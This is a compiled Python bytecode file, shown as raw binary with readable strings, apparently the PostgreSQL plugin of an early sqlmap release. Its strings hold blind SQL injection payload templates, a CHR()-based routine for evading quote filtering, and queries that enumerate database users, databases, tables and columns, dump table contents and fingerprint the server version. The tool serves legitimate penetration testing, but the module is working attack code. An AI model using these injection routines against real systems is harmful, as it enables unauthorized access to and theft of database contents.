³ò
‰ŸFc           @   sZ   d  d k  Z  d  d k Z d  d k Z d  d k Z d  d k l Z d e f d „  ƒ  YZ d S(   iÿÿÿÿN(   t   UnionUset   PostgreSQLMapc           B   sž   e  Z d  Z d „  Z d „  Z d „  Z d „  Z d „  Z d „  Z d „  Z	 d „  Z
 d	 „  Z d
 „  Z d „  Z d „  Z d „  Z d „  Z d „  Z d „  Z RS(   sb   
    This class defines PostgreSQL methods

    @author: Bernardo Damele and Daniele Bellucci
    c         C   s^   | |  _  t i d ƒ |  _ d |  _ d |  _ g  |  _ g  |  _ g  |  _ h  |  _	 h  |  _
 d  S(   Nt	   sqlmapLogt    (   t   argst   loggingt	   getLoggert   loggert   _PostgreSQLMap__bannert   _PostgreSQLMap__currentDbt   _PostgreSQLMap__fingerprintt   _PostgreSQLMap__cachedUserst   _PostgreSQLMap__cachedDbst   _PostgreSQLMap__cachedTablest   _PostgreSQLMap__cachedColumns(   t   selfR   (    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt   __init__   s    							c         C   sý   xö t  oî | i d ƒ } | d j o Pn | d } | | i d ƒ } | d j o t d | ‚ n | | } d | | | !} d } xN t | | ƒ D]= } | d t | | ƒ 7} | | d j  o | d 7} q— q— W| d	 7} | i | | ƒ } q W| S(
   Nt   'iÿÿÿÿi   s   Unenclosed ' in '%s's   '%s't   (s   CHR(%d)s   ||t   )(   t   Truet   findt	   Exceptiont   ranget   ordt   replace(   R   t
   expressiont   indext
   firstIndext	   lastIndext   oldt	   unescapedt   i(    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt   unescape    s&    


 
c         C   s   |  i  d d d ƒ S(   Ns$    AND ASCII(SUBSTR((%s), %d, 1)) > %ds+    AND ASCII(SUBSTR((%s), %d, 1)) > %d AND '1s+    AND ASCII(SUBSTR((%s), %d, 1)) > %d AND "1(   t   injectionStm(   R   (    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt	   createStm;   s    	c         C   s¦   |  i  i p d Sn |  i d |  i ƒ } d | } |  i oX t i d |  i ƒ } | i ƒ  d } |  i d | g ƒ } d } | d | | f 7} n | |  i  _ | S(	   Nt
   PostgreSQLs   active fingerprint: %ss   ^PostgreSQL ([\d\.]+)i    t    i   s!   
%sbanner parsing fingerprint: %ss                   (	   R   t   exaustiveFpt   parseFpR
   R   t   ret   searcht   groupst   fingerprint(   R   t   actVert   valuet   banVert   blank(    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt   getFingerprintA   s    

c         C   s=   d } |  i  i | ƒ |  i p |  i d ƒ |  _ n |  i S(   Ns   fetching banners	   VERSION()(   R   t   infoR   t   getValue(   R   t   logMsg(    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt	   getBannerU   s
    
c         C   s#   d } |  i  i | ƒ |  i d ƒ S(   Ns   fetching current usert   CURRENT_USER(   R   R1   R2   (   R   R3   (    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt   getCurrentUser_   s    c         C   s<   d } |  i  i | ƒ |  i o |  i Sn |  i d ƒ Sd  S(   Ns   fetching current databases   CURRENT_DATABASE()(   R   R1   R	   R2   (   R   R3   (    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt   getCurrentDbf   s
    
c         C   sÐ   d } |  i  i | ƒ d } |  i | ƒ } t | ƒ p | d j o d } t | ‚ n d } |  i  i | ƒ g  } x@ t t | ƒ ƒ D], } d | } |  i | ƒ } | i | ƒ qˆ W| p t d ‚ n | S(   Ns!   fetching number of database userss,   SELECT COUNT(DISTINCT(usename)) FROM pg_usert   0s/   unable to retrieve the number of database userss   fetching database userss-   SELECT usename FROM pg_user OFFSET %d LIMIT 1s%   unable to retrieve the database users(   R   R1   R2   t   lenR   R   t   intt   append(   R   R3   t   stmt   countt   errMsgt   usersR   t   user(    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt   getUsersp   s$     
c         C   s   d } | d 7} t  | ‚ d  S(   Ns'   PostgreSQL plugin does not support the s!   password hashes functionality yet(   R   (   R   R>   (    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt   getPasswordHashes   s    
c         C   sé   d } |  i  i | ƒ d } |  i | ƒ } t | ƒ p | d j o d } t | ‚ n d } |  i  i | ƒ g  } xJ t t | ƒ ƒ D]6 } d } | d | 7} |  i | ƒ } | i | ƒ qˆ W| o | |  _ n d } t | ‚ | S(	   Ns   fetching number of databasess0   SELECT COUNT(DISTINCT(datname)) FROM pg_databaseR8   s*   unable to retrieve the number of databasess   fetching database namess    SELECT datname FROM pg_database s   OFFSET %d LIMIT 1s%   unable to retrieve the database names(	   R   R1   R2   R9   R   R   R:   R;   R   (   R   R3   R<   R=   R>   t   dbsR   t   db(    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt   getDbs“   s*     	c   
      C   sÓ  |  i  i oW |  i  i d j oD d |  i  _ d } | d 7} | d |  i  i 7} |  i i | ƒ n d |  i  _ d |  i  i } |  i i | ƒ d } | d |  i  i 7} |  i | ƒ } t | ƒ p | d j o' d	 } | d
 |  i  i 7} t | ‚ n d |  i  i } |  i i | ƒ h  } g  } x^ t t	 | ƒ ƒ D]J } d } | d |  i  i 7} | d | 7} |  i | ƒ }	 | i
 |	 ƒ q:W| o | | |  i  i <n$ d } | d |  i  i 7} t | ‚ | |  _ | S(   Nt   publics%   PostgreSQL plugin can only enumerate s#   tables from current database, also s   known as '%s's+   fetching number of tables for database '%s's1   SELECT COUNT(DISTINCT(tablename)) FROM pg_tables s   WHERE schemaname = '%s'R8   s!   unable to retrieve the number of s   tables for database '%s's!   fetching tables for database '%s's&   SELECT tablename FROM pg_tables WHERE s   schemaname = '%s' s   OFFSET %d LIMIT 1s   unable to retrieve the tables s   for database '%s'(   R   RD   R   t   warnR1   R2   R9   R   R   R:   R;   R   (
   R   t   warnMsgR3   R<   R=   R>   t   dbTablest   tablesR   t   table(    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt	   getTables´   sD     
 		c         C   sÕ  |  i  i p d } t | ‚ n d |  i  i j o+ |  i  i i d ƒ \ |  i  _ |  i  _ n |  i  i oW |  i  i d j oD d |  i  _ d } | d 7} | d |  i  i 7} |  i i | ƒ n d |  i  _ d } | d |  i  i 7} |  i i | ƒ d	 } | d
 7} | d |  i  i 7} |  i | ƒ } t	 | ƒ p | d j o1 d } | d |  i  i 7} | d 7} t | ‚ n d |  i  i } | d 7} |  i i | ƒ h  } h  } h  } x° t
 t | ƒ ƒ D]œ }	 d } | d 7} | d |  i  i 7} | d |	 7} |  i | ƒ }
 d } | d 7} | d 7} | d |  i  i 7} | d |
 7} |  i | ƒ } | | |
 <qÆW| o$ | | |  i  i <| | |  i  i <n. d } | d |  i  i 7} | d 7} t | ‚ | |  i |  i  i <| S(   Ns   missing table parametert   .RF   s%   PostgreSQL plugin can only enumerate s)   columns from tables on current database, s   also known as '%s's%   fetching number of columns for table s   '%s' on current databases2   SELECT COUNT(DISTINCT(attname)) FROM pg_attribute s6   JOIN pg_class ON pg_class.oid = pg_attribute.attrelid s#   WHERE relname = '%s' AND attnum > 0R8   s)   unable to retrieve the number of columns s   for table '%s' s   on current databases    fetching columns for table '%s' s/   SELECT attname FROM pg_attribute JOIN pg_class s(   ON pg_class.oid = pg_attribute.attrelid s   WHERE relname = '%s' s    AND attnum > 0 OFFSET %d LIMIT 1s   SELECT atttypid s#   FROM pg_attribute JOIN pg_class ON s%   pg_class.oid = pg_attribute.attrelid s   AND attname = '%s's#   unable to retrieve the columns for s   table '%s' (   R   t   tblR   t   splitRD   R   RG   R1   R2   R9   R   R:   R   (   R   R>   RH   R3   R<   R=   t   tableColumnsRK   t   columnsR   t   columnt   coltype(    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt
   getColumnsæ   sj    + 



 



	c         C   s€  |  i  i p t d ‚ n |  i  i oW |  i  i d j oD d |  i  _ d } | d 7} | d |  i  i 7} |  i i | ƒ n |  i p |  i ƒ  |  _ n d } | d |  i  i 7} |  i i | ƒ d |  i  i |  i  i f } h  } d	 | } |  i	 | ƒ } t
 | ƒ p | d
 j o1 d } | d |  i  i 7} | d 7} t | ‚ n |  i  i o |  i  i i d ƒ |  i  _ n |  i |  i  i |  i  i } x<| i ƒ  D].}	 |  i  i o |	 |  i  i j o q¢n d |	 } | d |  i  i 7} |  i i | ƒ d }
 g  } h  } h  | |	 <xo t t | ƒ ƒ D][ } d |	 | f } | d | 7} |  i	 | ƒ } t |
 t
 t | ƒ ƒ ƒ }
 | i | ƒ q,W|
 t
 |	 ƒ j  o t
 |	 ƒ | d <n |
 | d <| | d <| | |	 <q¢W| oY h  } |  i  i o |  i  i | d <n d  | d <|  i  i | d <| | d <| | d <nI d } | d |  i  i 7} |  i  i o | d |  i  i 7} n t | ‚ | S(   Ns   missing table parameterRF   s    PostgreSQL plugin can only dump s   tables on current database, s   also known as '%s's%   fetching number of entries for table s   '%s' on current databases   %s.%ss   SELECT COUNT(*) FROM %sR8   s)   unable to retrieve the number of entries s   for table '%s' s   on current databaset   ,s$   fetching entries of column '%s' for s   table '%s' on current databasei    s   SELECT %s FROM %s s   OFFSET %d LIMIT 1t   lengtht   valuesRD   RK   R=   t	   __infos__s#   unable to retrieve the entries for s
   table '%s's    on database '%s'(   R   RN   R   RD   R   RG   R   RT   R1   R2   R9   t   colRO   t   keysR   R:   t   maxt   strR;   t   None(   R   RH   R3   t   fromExprt   columnValuesR<   R=   R>   RQ   RR   RV   RW   t
   columnDataR   R-   t   infos(    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt	   dumpTable/  s|     



  

 



	c         C   s   d } t  | ‚ d  S(   Ns/   PostgreSQL plugin does not support file reading(   R   (   R   t   filenameR>   (    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt   getFile…  s    c         C   s/   |  i  i o |  i | ƒ Sn |  i | ƒ Sd  S(   N(   R   t   unionUseR2   (   R   R   (    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt   getExprŠ  s    c         C   s9  |  i  i d j o% d |  i  _ |  i  i p t Sq8 n d } |  i i | ƒ t t i	 d d ƒ ƒ } d | } |  i
 | ƒ | j o•d } |  i i | ƒ d | } |  i
 | ƒ d	 j p d
 } |  i i | ƒ t Sn d |  i  _ |  i  i p t Sn |  i
 d ƒ d j o d g |  _ nÐ|  i
 d ƒ d j o d d g |  _ n§|  i
 d ƒ d j o d d g |  _ n~|  i
 d ƒ o d d g |  _ n[|  i
 d ƒ d j o d d g |  _ n2|  i
 d ƒ d j o d d  g |  _ n	|  i
 d! ƒ d" j o d# d$ g |  _ nà |  i
 d% ƒ d j o d& d' g |  _ n· |  i
 d( ƒ d" j o d) d* g |  _ nŽ t i d+ |  i
 d, ƒ ƒ o d- d. g |  _ n_ |  i
 d/ ƒ d j o d0 d1 g |  _ n6 |  i
 d2 ƒ d3 j o d4 d5 g |  _ n d6 g |  _ |  i  i o |  i
 d7 ƒ |  _ n t Sn d
 } |  i i | ƒ t Sd  S(8   Nt
   postgresqlR$   s   testing PostgreSQLi   i	   s   COALESCE(%s, NULL)s   confirming PostgreSQLs   LENGTH('%s')t   1s!   the remote DMBS is not PostgreSQLs%   SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)t   2s   >= 8.2.0s   GREATEST(5, 9, 1)t   9s   >= 8.1.0s   < 8.2.0s#   WIDTH_BUCKET(5.35, 0.024, 10.06, 5)t   3s   >= 8.0.0s   < 8.1.0s   SUBSTR(MD5('sqlmap'), 1, 1)s   >= 7.4.0s   < 8.0.0s   SUBSTR(CURRENT_SCHEMA(), 1, 1)t   ps   >= 7.3.0s   < 7.4.0s   BIT_LENGTH(1)t   8s   >= 7.2.0s   < 7.3.0s    SUBSTR(QUOTE_LITERAL('a'), 2, 1)t   as   >= 7.1.0s   < 7.2.0s	   POW(2, 3)s   >= 7.0.0s   < 7.1.0s   MAX('a')s   >= 6.5.0s   < 6.5.3s	   ([\d\.]+)s   SUBSTR(VERSION(), 12, 5)s   >= 6.4.0s   < 6.5.0s   SUBSTR(CURRENT_DATE, 1, 1)s   >= 6.3.0s   < 6.4.0s   SUBSTRING('sqlmap', 1, 1)t   ss   >= 6.2.0s   < 6.3.0s   < 6.2.0s	   VERSION()(   R   t   dbmsR+   R&   R   R   R1   R\   t   randomt   randintR2   RG   t   FalseR
   R(   R)   R4   R   (   R   R3   t   randIntR<   RH   (    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyt	   checkDbms‘  sd    

(   t   __name__t
   __module__t   __doc__R   R!   R#   R0   R4   R6   R7   RA   RB   RE   RL   RT   Rb   Rd   Rf   Ru   (    (    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pyR      s"   					
		
			!	2	I	V		(   R   Rq   R(   t   timet	   lib.unionR    R   (    (    (    s?   /usr/local/www/apache22/data/stuff/sql/plugins/postgresqlmap.pys   <module>   s
   
